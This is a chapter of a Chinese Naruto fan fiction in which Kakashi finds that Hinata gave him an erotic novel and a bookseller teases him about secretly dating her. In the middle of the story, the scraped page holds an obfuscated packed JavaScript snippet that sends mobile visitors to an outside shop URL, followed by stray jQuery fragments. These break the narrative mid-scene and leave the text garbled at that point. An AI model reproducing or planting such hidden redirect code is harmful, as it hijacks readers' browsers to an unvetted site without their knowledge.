第二十六章：秘密交往
雏田走后，房间里忽然安静下来。
但这一次，安静不再让人觉得空。
门已经合上。
她的脚步声也消失在楼梯尽头。
可卡卡西仍然站在玄关处，手里拿着那个纸袋，没有立刻回到桌边。
“明天见。”
她刚才是这么说的。
不是“告辞”，也不是“再见”。
是明天见。
像某个被他亲手弄断的日常，又被她红着脸、小心翼翼地接了回来。
卡卡西低头看着手里的纸袋，眼睛慢慢弯起来。
真是的。
才说过不要打开。
明明他也答应了。
可礼物这种东西，最让人期待的，不就是拆开之前的那段时间吗？
何况这是雏田送来的。
严格来说，也许不是礼物。
可她抱着它站在门外，纠结、害羞、紧张，最后还是把东西交到他手里，还说什么“以老师的名义买了这个，请你原谅”。
这实在太像雏田了。
认真。
乖巧。
又在某些地方脱线得让人防不胜防。
卡卡西走回桌边坐下，把纸袋放到面前。
他手指轻轻敲了敲袋口。
“真拿你没办法呢，雏田。”
话说出口，他自己先笑了。
从什么时候开始，光是叫她的名字，都能让心情变好？
明明前不久还在病房里自以为成熟地把人推开，现在却因为她一句“明天见”高兴成这样。
真是不像话。
可是也没有办法。
他伸手探进纸袋。
指尖摸到一个硬挺的边角。
像书。
卡卡西的笑意微微一僵。
书。
雏田送来的书。
再结合下午那句“我没有想看卡卡西老师的裸体”……
一种非常不妙的预感，缓缓从心底浮起来。
卡卡西沉默了片刻。
他曾经无数次领教过雏田的认真。
越认真越容易在奇怪的地方出问题。
她会一本正经地把《亲热》当忍术书，会真心思考红老师和凯能不能学，会用白眼去找所谓“大人成熟的战术”。
现在又抱着一本书，红着脸送到他这里。
还能是什么？
卡卡西闭了闭眼。
不。
也许不是。
也许是任务记录，忍术心得，历史书籍，或者什么柔拳相关的资料。
雏田是个正经孩子。
虽然偶尔会脱线，但本质上非常正经。
卡卡西在心里替她辩解。
然后，他把书抽了出来。
橙黄色封面。
熟悉的装帧。
熟悉的字体。
《亲热战术》。
卡卡西：“……”
他已经做好心理准备了。
但真的看到这几个字时，还是有一种被现实当头敲了一棍的无力感。
真不愧是雏田。
送来的东西，居然真的如此符合他的喜好。
他是不是应该感动一下？
比如感叹雏田深知他心，不愧是能听他汇报任务、给他做秋刀鱼、知道他喜欢什么书的知己？
可是为什么，他现在只想把脸埋进枕头里呢？
卡卡西拿着书，表情复杂地坐了一会儿。
然后，他发现封皮没有了。
那层书店特意包上的封皮，不见了。
书页边角还有轻微翻动的痕迹。
虽然只有前面几页，但确实被翻过。
卡卡西的手指停住。
雏田……
看过了？
她知道里面是什么了？
卡卡西盯着那本书，心里响起一连串无声的咆哮。
为什么书店老板会把这种东西卖给雏田？
为什么雏田会拆开看？
为什么看完之后还能若无其事，哦不，也不能算若无其事，红成那样地送过来？
她为什么不直接烧掉？
不对。
这不是重点。
重点是——
他在雏田面前的形象，已经从“可靠、成熟、温柔、偶尔迟到但值得信赖的卡卡西老师”，变成了“会看这种书的卡卡西老师”。
更准确一点。
是“色气很奇怪的卡卡西老师”。
卡卡西把书合上。
忽然觉得很想死。
但又觉得很好笑。
最后，他真的低低笑了出来。
“啊……”
他往后一倒，整个人躺到床上，把书扔在旁边，双手交叠枕在脑后，睁着眼睛看天花板。
其实那也是他的一部分吧。
爱看这种书，爱拿书遮脸，爱用不正经掩饰正经，爱用玩笑把真心藏起来。
虽然不好意思。
虽然很想在雏田面前保留一点神秘感。
但既然都被她看见了……
卡卡西侧过眼，看向那本《亲热战术》。
雏田会怎么想？
会觉得他下流吗？
大概已经觉得了吧。
自来也大人也下流。
卡卡西老师也下流。
她说不定已经在心里认真得出这种结论了。
可她还是来了。
还是把书送给他。
还是答应明天再来。
这是不是说明，她并没有因为看见他这一面就讨厌他？
是不是说明，她其实……能接受？
卡卡西盯着天花板。
想到这里，心跳竟然又不争气地快了一点。
雏田看过了。
雏田知道了。
雏田还是说明天见。
这几个念头绕来绕去，最后把他绕得半夜都没睡着。
等到天快亮时，才终于沉沉睡去。
--------------------------
第二天，卡卡西比预计中醒得早。
他原本以为自己会睡到中午。
毕竟前一晚几乎没怎么睡，脑子里一会儿是雏田红着脸说“明天见”，一会儿是她喊“我没有想看卡卡西老师的裸体”，再一会儿又是她把手覆在他手背上，紧张地说“现在请不要打开”。
结果睁眼一看，上午十点。
还早。
卡卡西躺在床上，盯着天花板看了几秒。
然后忽然坐起来。
今天雏田会来。
所以要准备一下。
红茶要有。
糖要有。
红豆沙要买两份。
秋刀鱼最好不要买速食店的，味道差太多，也许可以去早市看看新鲜的，虽然他自己做不出雏田那种火候，但至少不能让她觉得他过得太敷衍。
还有……
书店老板。
卡卡西低头看了一眼放在床边的《亲热战术》。
很好。
这个问题必须解决。
雏田那样的人，怎么会买到这种书？
虽然他现在已经因为这个意外获得了许多微妙的情报——比如雏田也会在看到湿发浴衣的他时乱想，比如她不是完全把他当成没有性别的老师。
但是一码归一码。
书店老板把这种书卖给雏田，还是很有问题。
卡卡西洗漱完，换好衣服。
临出门前照了一下镜子。
银灰色头发恢复了往常的竖起状态，面罩妥帖，护额遮住左眼。虽然昨晚睡得不太好，眼下有一点淡淡的黑影，但只有一只眼睛露在外面，所以问题不大。
“还算帅气。”
他自我安慰了一句。
然后出门。
-------------------
书店离他家不远。
卡卡西推门进去时，老板正在和一位顾客低声交谈。
两个人凑得很近，神情兴奋得有些诡异。
卡卡西站在门口，摆出自认为很有压迫感的眼神。
盯。
继续盯。
再盯。
老板毫无察觉。
顾客倒是忽然抬头看见了他，眼睛一亮。
“啊，卡卡西桑！”
老板也立刻转头。
“来得正好，卡卡西桑！”
卡卡西：“……”
这种热情让人不安。
老板凑过来，压低声音问了一个非常不适合在白天问的问题。
卡卡西沉默了一瞬。
虽然没有实际经验，但理论知识他看得不少。
这种时候，绝对不能输。
尤其是在书店老板这种人面前。
“啊……这个的话，应该是……”
他用非常平静、非常专业、非常不动声色的语气回答了一通。
那名顾客眼睛亮得像被点燃。
“不愧是卡卡西桑！”
老板也满脸赞叹。
“像这样的问题，果然问卡卡西桑就对了。在这方面，卡卡西桑在木叶可是很有名的啊！”
卡卡西：“……”
被崇拜了。
但是一点都不想高兴。
很有名。
在这方面很有名。
他在木叶到底是以什么形象存在的？
顾客心满意足地离开后，柜台前只剩下卡卡西和老板。
卡卡西终于想起自己来这里的目的，刚准备发难，老板已经先一步凑过来，露出梦幻又猥琐的表情。
“自来也大人的新书，卡卡西桑觉得怎么样？”
卡卡西眼皮微微一跳。
“那个……”
老板完全没等他说完，已经兴奋地自顾自开口。
“取材真不错吧？第一篇那个少女和借浴室的男人，气氛很妙啊，自来也大人一定是遇见了什么很好的灵感……”
“闭嘴。”
卡卡西淡淡打断。
老板愣住。
卡卡西看着他。
“少女什么的，白天不要在书店里用这种语气说。”
老板眨了眨眼。
“卡卡西桑今天好严肃啊。雏田大小姐没有把书带给你吗？怎么一副欲求不满的样子？”
卡卡西：“……”
欲求不满。
这四个字精准扎中某些不可言说的真相。
不对。
重点不是这个。
重点是——
“雏田大小姐没有把书带给你吗？”
所以老板知道。
卡卡西垂下眼，立刻换上若无其事的语气。
“书啊，已经拿到了。”
老板恍然。
“我就说嘛。不过卡卡西桑，叫雏田大小姐来买这种书，不会觉得不合适吗？”
卡卡西沉默了。
原来如此。
雏田说的“以老师的名义买了这个”，是这个意思。
她为了让老板卖给她，说是他让她来买的。
雏田居然也会说谎了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821960|211160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
而且第一次说这种谎，就说得这么让人头疼。
卡卡西抬手按了按额角。
老板还在继续：
“虽然雏田大小姐是很乖的孩子啦，可她拿着这本书来柜台的时候，我真的吓了一大跳。她脸红成那样，还说是卡卡西桑拜托她买的……”
卡卡西忽然有些想笑。
雏田当时一定很慌。
说不定脸红得连耳尖都透了，还一本正经地努力圆谎。
“嗯。”卡卡西含糊道，“麻烦你了。”
老板眯起眼，像嗅到了什么不得了的气息。
“不过我记得，雏田大小姐不是你的学生吧？”
卡卡西眼神微动。
“的确不是。”
“那你会叫她来买这种书，莫非……”
老板拖长声音，目光忽然变得闪亮。
卡卡西有一种非常糟糕的预感。
“你们在交往吧？”
卡卡西：“……”
阳光从窗外照进来。
有点刺眼。
他怀疑自己是不是昨晚没睡好，所以听错了。
“你说什么？”
老板压低声音，更加兴奋。
“你和雏田大小姐是在秘密交往中吧？所以才会叫她替你买这种书。”
“怎么可能。”
卡卡西几乎本能反驳。
可反驳出口的一瞬间，又莫名觉得胸口有一点闷。
老板完全没有被打击到。
“雏田大小姐很可爱吧，卡卡西桑？”
这个问题来得太突然。
卡卡西顿了一下。
脑海里浮现出雏田站在门外的样子。
月光落在她身上，黑发垂落，白眼湿润，脸颊红得像被夜色轻轻染过。她抱着纸袋，明明害羞得要命，却还是鼓起勇气说“明天见”。
“啊……”
卡卡西声音不自觉放软了一点。
“是很可爱。”
老板一拍手。
“看吧！”
卡卡西：“……”
糟糕。
上套了。
“卡卡西桑果然在和雏田大小姐秘密交往！”
“没有交往。”
“可是女孩子都希望被恋人承认哦，偷偷藏着可不好。”
“没有恋情。”
“那就是还没正式交往，但已经有那种暧昧关系了？”
“……”
卡卡西觉得头开始疼了。
老板却越说越起劲。
“或者说，是地下的那种关系？可以一起看《亲热战术》的那种？”
卡卡西忍无可忍。
“我们还没发生那种关系！”
话出口。
书店安静了。
老板的表情变得意味深长。
“哦——还没。”
卡卡西：“……”
完了。
跟雏田待久了，他是不是也开始变成说话会往奇怪方向滑的笨蛋了？
老板一脸理解地看着他。
“卡卡西桑，真是辛苦了啊。”
卡卡西用死鱼眼看他。
老板继续自顾自分析：
“我懂了。因为年龄差，所以暂时保持秘密交往的状态，对吧？等心爱的女孩子完全准备好……哎呀，真浪漫啊，卡卡西桑。”
卡卡西面无表情。
“不是。”
“放心吧，我支持你。”
“……”
“我也会替你保守秘密的。”
“……”
卡卡西没有再辩解。
他已经意识到，继续说下去只会让事情更糟。
转身。
离开。
身后传来老板热情洋溢的声音：
“卡卡西桑！一定要对雏田大小姐温柔一点啊！”
卡卡西脚步一顿。
没有回头。
可是耳尖在面罩和头发的遮掩下，隐约有些发热。
以后，再也不能来这家书店了。
至少短期内不能。
----------------------
离开书店以后，卡卡西去买了红豆沙。
两份。
买的时候，店员问他要不要加得更甜一点。
卡卡西本想说不用。
但想到雏田喝甜茶时弯起来的眉眼，还是改口：
“稍微甜一点吧。”
然后又去买了新鲜秋刀鱼。
虽然他对料理没有太大信心，但今天可以试试。
实在不行，就把失败的部分藏起来。
雏田应该会发现。
她总是能看见这些细节。
想到这里，卡卡西忽然笑了笑。
书店老板的话还在脑子里乱晃。
秘密交往。
心爱的女孩子。
还没发生那种关系。
这些乱七八糟的词，如果放在以前，他大概只会觉得麻烦。
可是现在，他居然没有特别生气。
甚至在听见“你们在交往吧”的一瞬间，心里不是排斥，而是某种很轻、很快、又很危险的喜悦。
像被人突然说中了一个连自己都还没敢承认的愿望。
他和雏田当然没有交往。
现在还没有。
卡卡西提着红豆沙和秋刀鱼，走在木叶的街道上。
阳光落在他肩上。
他垂下眼，低低笑了一声。
现在还没有。
这个“还”字，真是非常危险啊。